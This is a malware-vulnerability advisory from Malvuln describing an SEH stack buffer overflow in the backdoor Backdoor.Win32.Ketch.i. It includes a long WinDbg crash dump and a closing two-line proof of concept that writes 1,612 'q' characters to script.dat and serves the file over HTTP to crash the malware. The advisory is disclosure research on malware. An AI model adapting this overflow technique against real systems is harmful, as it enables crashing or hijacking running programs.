Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ee314e1b913a09ec86c63d7186d8f0b8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Ketch.i
Vulnerability: SEH Remote Stack Buffer Overflow
Description: Ketch makes HTTP request to port 80 for a file named script.dat, upon processing the server response of 1,612 bytes or more we can trigger SEH buffer overflow.
Our exploit pattern if using "AAAAAAAAA" will get XOR'd with the value 30 and convert it to 71717171 instead of 41414141, so use "q" for exploit pattern 41414141.
Reason is first it gets converted so uppercase becomes lowercase and is XOR'd with value 30. The character "A" becomes "q" 71 so it is difficult to control chars.
Therefore, if we want to see the typical 41414141 exploit pattern use lowercase "q" character. Then when 71 (q) gets XOR with 30 it will become 41 (A).
Type: PE32
MD5: ee314e1b913a09ec86c63d7186d8f0b8
Vuln ID: MVID-2021-0024
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/13/2021
Memory Dump:
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(95c.11f0): Stack overflow - code c00000fd (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=000a3848 edi=000a3d0c
eip=773ce916 esp=000a3790 ebp=000a3830 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
ntdll!ZwQueryInformationProcess+0x26:
773ce916 c21400 ret 14h
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe
FAULTING_IP:
Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+50f9
004050f9 8802 mov byte ptr [edx],al
EXCEPTION_RECORD: 0019f30c -- (.exr 0x19f30c)
ExceptionAddress: 004050f9 (Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+0x000050f9)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000
PROCESS_NAME: Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe
ERROR_CODE: (NTSTATUS) 0xc00000fd - A new guard page for the stack cannot be created.
EXCEPTION_CODE: (NTSTATUS) 0xc00000fd - A new guard page for the stack cannot be created.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 000a2fe8
MOD_LIST:
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAILED_INSTRUCTION_ADDRESS:
+50f9
41414141 ?? ???
CONTEXT: 0019f35c -- (.cxr 0x19f35c)
eax=00000041 ebx=02851dbc ecx=02854285 edx=001a0000 esi=0000064f edi=02853ca0
eip=004050f9 esp=0019f7bc ebp=0019f954 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+0x50f9:
004050f9 8802 mov byte ptr [edx],al ds:002b:001a0000=41
Resetting default scope
READ_ADDRESS: 41414141
FOLLOWUP_IP:
Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+50f9
004050f9 8802 mov byte ptr [edx],al
WRITE_ADDRESS: 001a0000
LAST_CONTROL_TRANSFER: from 02852ff0 to 004050f9
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_FILL_PATTERN_41414141
IP_ON_HEAP: 02852ff0
The fault address in not in any loaded module, please check your build's rebase
log at \bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
FRAME_ONE_INVALID: 1
STACK_TEXT:
0019f7bc 004050f9 backdoor_win32_ketch_i+0x50f9
0019f95c 02852ff0 unknown!unknown+0x0
0019f964 773a2abf ntdll!RtlpAllocateHeap+0xcf
0019fb30 41414141 unknown!printable+0x0
0019fb44 41414141 unknown!printable+0x0
0019fb48 41414141 unknown!printable+0x0
0019fb4c 41414141 unknown!printable+0x0
0019fb50 41414141 unknown!printable+0x0
0019fb54 41414141 unknown!printable+0x0
0019fb58 41414141 unknown!printable+0x0
0019fb5c 41414141 unknown!printable+0x0
0019fb60 41414141 unknown!printable+0x0
0019fb64 41414141 unknown!printable+0x0
0019fb68 41414141 unknown!printable+0x0
0019fb6c 41414141 unknown!printable+0x0
0019fb70 41414141 unknown!printable+0x0
0019fb74 41414141 unknown!printable+0x0
0019fb78 41414141 unknown!printable+0x0
0019fb7c 41414141 unknown!printable+0x0
0019fb80 41414141 unknown!printable+0x0
0019fb84 41414141 unknown!printable+0x0
0019fb88 41414141 unknown!printable+0x0
0019fb8c 41414141 unknown!printable+0x0
0019fb90 41414141 unknown!printable+0x0
0019fb94 41414141 unknown!printable+0x0
0019fb98 41414141 unknown!printable+0x0
0019fb9c 41414141 unknown!printable+0x0
0019fba0 41414141 unknown!printable+0x0
0019fba4 41414141 unknown!printable+0x0
0019fba8 41414141 unknown!printable+0x0
0019fbac 41414141 unknown!printable+0x0
0019fbb0 41414141 unknown!printable+0x0
0019fbb4 41414141 unknown!printable+0x0
0019fbb8 41414141 unknown!printable+0x0
0019fbbc 41414141 unknown!printable+0x0
0019fbc0 41414141 unknown!printable+0x0
0019fbc4 41414141 unknown!printable+0x0
0019fbc8 41414141 unknown!printable+0x0
0019fbcc 41414141 unknown!printable+0x0
0019fbd0 41414141 unknown!printable+0x0
0019fbd4 41414141 unknown!printable+0x0
0019fbd8 41414141 unknown!printable+0x0
0019fbdc 41414141 unknown!printable+0x0
0019fbe0 41414141 unknown!printable+0x0
0019fbe4 41414141 unknown!printable+0x0
0019fbe8 41414141 unknown!printable+0x0
0019fbec 41414141 unknown!printable+0x0
0019fbf0 41414141 unknown!printable+0x0
0019fbf4 41414141 unknown!printable+0x0
0019fbf8 41414141 unknown!printable+0x0
0019fbfc 41414141 unknown!printable+0x0
0019fc00 41414141 unknown!printable+0x0
0019fc04 41414141 unknown!printable+0x0
0019fc08 41414141 unknown!printable+0x0
0019fc0c 41414141 unknown!printable+0x0
0019fc10 41414141 unknown!printable+0x0
0019fc14 41414141 unknown!printable+0x0
0019fc18 41414141 unknown!printable+0x0
0019fc1c 41414141 unknown!printable+0x0
0019fc20 41414141 unknown!printable+0x0
0019fc24 41414141 unknown!printable+0x0
0019fc28 41414141 unknown!printable+0x0
0019fc2c 41414141 unknown!printable+0x0
0019fc30 41414141 unknown!printable+0x0
0019fc34 41414141 unknown!printable+0x0
0019fc38 41414141 unknown!printable+0x0
0019fc3c 41414141 unknown!printable+0x0
0019fc40 41414141 unknown!printable+0x0
0019fc44 41414141 unknown!printable+0x0
0019fc48 41414141 unknown!printable+0x0
0019fc4c 41414141 unknown!printable+0x0
0019fc50 41414141 unknown!printable+0x0
0019fc54 41414141 unknown!printable+0x0
0019fc58 41414141 unknown!printable+0x0
0019fc5c 41414141 unknown!printable+0x0
0019fc60 41414141 unknown!printable+0x0
0019fc64 41414141 unknown!printable+0x0
0019fc68 41414141 unknown!printable+0x0
0019fc6c 41414141 unknown!printable+0x0
0019fc70 41414141 unknown!printable+0x0
0019fc74 41414141 unknown!printable+0x0
0019fc78 41414141 unknown!printable+0x0
0019fc7c 41414141 unknown!printable+0x0
0019fc80 41414141 unknown!printable+0x0
0019fc84 41414141 unknown!printable+0x0
0019fc88 41414141 unknown!printable+0x0
0019fc8c 41414141 unknown!printable+0x0
0019fc90 41414141 unknown!printable+0x0
0019fc94 41414141 unknown!printable+0x0
0019fc98 41414141 unknown!printable+0x0
0019fc9c 41414141 unknown!printable+0x0
0019fca0 41414141 unknown!printable+0x0
0019fca4 41414141 unknown!printable+0x0
0019fca8 41414141 unknown!printable+0x0
0019fcac 41414141 unknown!printable+0x0
0019fcb0 41414141 unknown!printable+0x0
0019fcb4 41414141 unknown!printable+0x0
0019fcb8 41414141 unknown!printable+0x0
0019fcbc 41414141 unknown!printable+0x0
0019fcc0 41414141 unknown!printable+0x0
0019fcc4 41414141 unknown!printable+0x0
0019fcc8 41414141 unknown!printable+0x0
0019fccc 41414141 unknown!printable+0x0
0019fcd0 41414141 unknown!printable+0x0
0019fcd4 41414141 unknown!printable+0x0
0019fcd8 41414141 unknown!printable+0x0
0019fcdc 41414141 unknown!printable+0x0
0019fce0 41414141 unknown!printable+0x0
0019fce4 41414141 unknown!printable+0x0
0019fce8 41414141 unknown!printable+0x0
0019fcec 41414141 unknown!printable+0x0
0019fcf0 41414141 unknown!printable+0x0
0019fcf4 41414141 unknown!printable+0x0
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fd0c 41414141 unknown!printable+0x0
0019fd10 41414141 unknown!printable+0x0
0019fd14 41414141 unknown!printable+0x0
0019fd18 41414141 unknown!printable+0x0
0019fd1c 41414141 unknown!printable+0x0
0019fd20 41414141 unknown!printable+0x0
0019fd24 41414141 unknown!printable+0x0
0019fd28 41414141 unknown!printable+0x0
0019fd2c 41414141 unknown!printable+0x0
0019fd30 41414141 unknown!printable+0x0
0019fd34 41414141 unknown!printable+0x0
0019fd38 41414141 unknown!printable+0x0
0019fd3c 41414141 unknown!printable+0x0
0019fd40 41414141 unknown!printable+0x0
0019fd44 41414141 unknown!printable+0x0
0019fd48 41414141 unknown!printable+0x0
0019fd4c 41414141 unknown!printable+0x0
0019fd50 41414141 unknown!printable+0x0
0019fd54 41414141 unknown!printable+0x0
0019fd58 41414141 unknown!printable+0x0
0019fd5c 41414141 unknown!printable+0x0
0019fd60 41414141 unknown!printable+0x0
0019fd64 41414141 unknown!printable+0x0
0019fd68 41414141 unknown!printable+0x0
0019fd6c 41414141 unknown!printable+0x0
0019fd70 41414141 unknown!printable+0x0
0019fd74 41414141 unknown!printable+0x0
0019fd78 41414141 unknown!printable+0x0
0019fd7c 41414141 unknown!printable+0x0
0019fd80 41414141 unknown!printable+0x0
0019fd84 41414141 unknown!printable+0x0
0019fd88 41414141 unknown!printable+0x0
0019fd8c 41414141 unknown!printable+0x0
0019fd90 41414141 unknown!printable+0x0
0019fd94 41414141 unknown!printable+0x0
0019fd98 41414141 unknown!printable+0x0
0019fd9c 41414141 unknown!printable+0x0
0019fda0 41414141 unknown!printable+0x0
0019fda4 41414141 unknown!printable+0x0
0019fda8 41414141 unknown!printable+0x0
0019fdac 41414141 unknown!printable+0x0
0019fdb0 41414141 unknown!printable+0x0
0019fdb4 41414141 unknown!printable+0x0
0019fdb8 41414141 unknown!printable+0x0
0019fdbc 41414141 unknown!printable+0x0
0019fdc0 41414141 unknown!printable+0x0
0019fdc4 41414141 unknown!printable+0x0
0019fdc8 41414141 unknown!printable+0x0
0019fdcc 41414141 unknown!printable+0x0
0019fdd0 41414141 unknown!printable+0x0
0019fdd4 41414141 unknown!printable+0x0
0019fdd8 41414141 unknown!printable+0x0
0019fddc 41414141 unknown!printable+0x0
0019fde0 41414141 unknown!printable+0x0
0019fde4 41414141 unknown!printable+0x0
0019fde8 41414141 unknown!printable+0x0
0019fdec 41414141 unknown!printable+0x0
0019fdf0 41414141 unknown!printable+0x0
0019fdf4 41414141 unknown!printable+0x0
0019fdf8 41414141 unknown!printable+0x0
0019fdfc 41414141 unknown!printable+0x0
0019fe00 41414141 unknown!printable+0x0
0019fe04 41414141 unknown!printable+0x0
0019fe08 41414141 unknown!printable+0x0
0019fe0c 41414141 unknown!printable+0x0
0019fe10 41414141 unknown!printable+0x0
0019fe14 41414141 unknown!printable+0x0
0019fe18 41414141 unknown!printable+0x0
0019fe1c 41414141 unknown!printable+0x0
0019fe20 41414141 unknown!printable+0x0
0019fe24 41414141 unknown!printable+0x0
0019fe28 41414141 unknown!printable+0x0
0019fe2c 41414141 unknown!printable+0x0
0019fe30 41414141 unknown!printable+0x0
0019fe34 41414141 unknown!printable+0x0
0019fe38 41414141 unknown!printable+0x0
0019fe3c 41414141 unknown!printable+0x0
0019fe40 41414141 unknown!printable+0x0
0019fe44 41414141 unknown!printable+0x0
0019fe48 41414141 unknown!printable+0x0
0019fe4c 41414141 unknown!printable+0x0
0019fe50 41414141 unknown!printable+0x0
0019fe54 41414141 unknown!printable+0x0
0019fe58 41414141 unknown!printable+0x0
0019fe5c 41414141 unknown!printable+0x0
0019fe60 41414141 unknown!printable+0x0
0019fe64 41414141 unknown!printable+0x0
0019fe68 41414141 unknown!printable+0x0
0019fe6c 41414141 unknown!printable+0x0
0019fe70 41414141 unknown!printable+0x0
0019fe74 41414141 unknown!printable+0x0
0019fe78 41414141 unknown!printable+0x0
0019fe7c 41414141 unknown!printable+0x0
0019fe80 41414141 unknown!printable+0x0
0019fe84 41414141 unknown!printable+0x0
0019fe88 41414141 unknown!printable+0x0
0019fe8c 41414141 unknown!printable+0x0
0019fe90 41414141 unknown!printable+0x0
0019fe94 41414141 unknown!printable+0x0
0019fe98 41414141 unknown!printable+0x0
0019fe9c 41414141 unknown!printable+0x0
0019fea0 41414141 unknown!printable+0x0
0019fea4 41414141 unknown!printable+0x0
0019fea8 41414141 unknown!printable+0x0
0019feac 41414141 unknown!printable+0x0
0019feb0 41414141 unknown!printable+0x0
0019feb4 41414141 unknown!printable+0x0
0019feb8 41414141 unknown!printable+0x0
0019febc 41414141 unknown!printable+0x0
0019fec0 41414141 unknown!printable+0x0
0019fec4 41414141 unknown!printable+0x0
0019fec8 41414141 unknown!printable+0x0
0019fecc 41414141 unknown!printable+0x0
0019fed0 41414141 unknown!printable+0x0
0019fed4 41414141 unknown!printable+0x0
0019fed8 41414141 unknown!printable+0x0
0019fedc 41414141 unknown!printable+0x0
0019fee0 41414141 unknown!printable+0x0
0019fee4 41414141 unknown!printable+0x0
0019fee8 41414141 unknown!printable+0x0
0019feec 41414141 unknown!printable+0x0
0019fef0 41414141 unknown!printable+0x0
0019fef4 41414141 unknown!printable+0x0
0019fef8 41414141 unknown!printable+0x0
0019fefc 41414141 unknown!printable+0x0
0019ff00 41414141 unknown!printable+0x0
0019ff04 41414141 unknown!printable+0x0
0019ff08 41414141 unknown!printable+0x0
0019ff0c 41414141 unknown!printable+0x0
0019ff10 41414141 unknown!printable+0x0
0019ff14 41414141 unknown!printable+0x0
0019ff18 41414141 unknown!printable+0x0
0019ff1c 41414141 unknown!printable+0x0
0019ff20 41414141 unknown!printable+0x0
0019ff24 41414141 unknown!printable+0x0
0019ff28 41414141 unknown!printable+0x0
0019ff2c 41414141 unknown!printable+0x0
0019ff30 41414141 unknown!printable+0x0
0019ff34 41414141 unknown!printable+0x0
0019ff38 41414141 unknown!printable+0x0
0019ff3c 41414141 unknown!printable+0x0
0019ff40 41414141 unknown!printable+0x0
0019ff44 41414141 unknown!printable+0x0
0019ff48 41414141 unknown!printable+0x0
0019ff4c 41414141 unknown!printable+0x0
0019ff50 41414141 unknown!printable+0x0
0019ff54 41414141 unknown!printable+0x0
0019ff58 41414141 unknown!printable+0x0
0019ff5c 41414141 unknown!printable+0x0
0019ff60 41414141 unknown!printable+0x0
0019ff64 41414141 unknown!printable+0x0
0019ff68 41414141 unknown!printable+0x0
0019ff6c 41414141 unknown!printable+0x0
0019ff70 41414141 unknown!printable+0x0
0019ff74 41414141 unknown!printable+0x0
0019ff78 41414141 unknown!printable+0x0
0019ff7c 41414141 unknown!printable+0x0
0019ff80 41414141 unknown!printable+0x0
0019ff84 41414141 unknown!printable+0x0
0019ff88 41414141 unknown!printable+0x0
0019ff8c 41414141 unknown!printable+0x0
0019ff90 41414141 unknown!printable+0x0
0019ff94 41414141 unknown!printable+0x0
0019ff98 41414141 unknown!printable+0x0
0019ff9c 41414141 unknown!printable+0x0
0019ffa0 41414141 unknown!printable+0x0
0019ffa4 41414141 unknown!printable+0x0
0019ffa8 41414141 unknown!printable+0x0
0019ffac 41414141 unknown!printable+0x0
0019ffb0 41414141 unknown!printable+0x0
0019ffb4 41414141 unknown!printable+0x0
0019ffb8 41414141 unknown!printable+0x0
0019ffbc 41414141 unknown!printable+0x0
0019ffc0 41414141 unknown!printable+0x0
0019ffc4 41414141 unknown!printable+0x0
0019ffc8 41414141 unknown!printable+0x0
0019ffcc 41414141 unknown!printable+0x0
0019ffd0 41414141 unknown!printable+0x0
0019ffd4 41414141 unknown!printable+0x0
0019ffd8 41414141 unknown!printable+0x0
0019ffdc 41414141 unknown!printable+0x0
0019ffe0 41414141 unknown!printable+0x0
0019ffe4 41414141 unknown!printable+0x0
0019ffe8 41414141 unknown!printable+0x0
0019ffec 41414141 unknown!printable+0x0
0019fff0 41414141 unknown!printable+0x0
0019fff4 41414141 unknown!printable+0x0
0019fff8 41414141 unknown!printable+0x0
0019fffc 41414141 unknown!
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: backdoor_win32_ketch_i+50f9
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8
IMAGE_NAME: Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 4021b2e8
STACK_COMMAND: .cxr 000000000019F35C ; kb ; dds 19f7bc ; kb
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ketch_i+50f9
FAILURE_BUCKET_ID: STACK_OVERFLOW_FILL_PATTERN_41414141_c00000fd_Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe!Unknown
Exploit/PoC:
python -c "print 'q'*1612" > script.dat
python -m SimpleHTTPServer 80
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